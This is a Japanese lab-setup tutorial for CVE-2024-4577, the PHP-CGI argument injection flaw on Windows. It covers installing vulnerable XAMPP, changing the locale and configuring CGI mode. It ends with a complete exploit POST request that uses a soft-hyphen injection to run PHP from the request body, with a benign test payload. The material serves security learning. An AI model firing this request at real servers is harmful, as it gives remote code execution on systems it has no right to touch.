
CVE-2024-4577 用のラボを作成する
| CVE | Description | CVSSv3 |
| CVE-2024-4577 | PHP-CGI 引数インジェクションの脆弱性 | 9.8 |
"CVE-2024-4577 は、PHP における重大な引数インジェクションの脆弱性であり、リモートコード実行 (RCE) を達成するために悪用される可能性があります。DEVCORE の研究者によると、この欠陥は文字エンコーディング変換のエラーが原因であり、Windows の“ベストフィット”機能に影響を与えます。"
-Tenable
XAMPP をダウンロードします (8.1.25 / PHP 8.1.25) XAMPP をインストールしたら、PHP のバージョンを確認します。バージョンは 8.1.25 である必要があります。PHP のバージョンは、コマンドラインで "php -v" コマンドを実行して確認できます。エラーが発生した場合は、PHP の PATH 変数 に追加する必要があります。
ロケールを変更する必要があります。これを行うには、コントロールパネル > 時計と地域 > 地域の順に進みます。形式を日本語、繁体字中国語、または簡体字中国語に設定します。管理 > システムロケールの変更 をクリックし、適切なロケールを選択します。
PHP が CGI モードで実行されていない場合は、次の設定を行う必要があります。
ScriptAlias /php-cgi/ "C:/xampp/php/"
AddHandler application/x-httpd-php .php
Action application/x-httpd-php "/php-cgi/php-cgi.exe"
AddType application/x-httpd-php .php
<Directory "C:/xampp/php">
Options +ExecCGI
AllowOverride None
Require all granted
</Directory>
LoadModule php_module "C:/xampp/php/php8apache2_4.dll" を見つけます。行の先頭に '#' を追加します。変更を保存し、Apache インスタンスを起動します。
以下の POST リクエストのボディで送信された PHP コードの出力がレスポンスに表示されれば、エクスプロイトは成功です。
POST /?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: {{HOST}}
User-Agent: curl/8.3.0
Accept: /
Content-Length: 30
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php
echo "vulnerable";
?>
この実験環境は教育目的のみを意図しており、実際の環境で使用しないでください。不適切な使用によって生じたいかなる損害や損失についても、私は責任を負いません。ユーザーは自己責任でこの環境を使用する必要があります。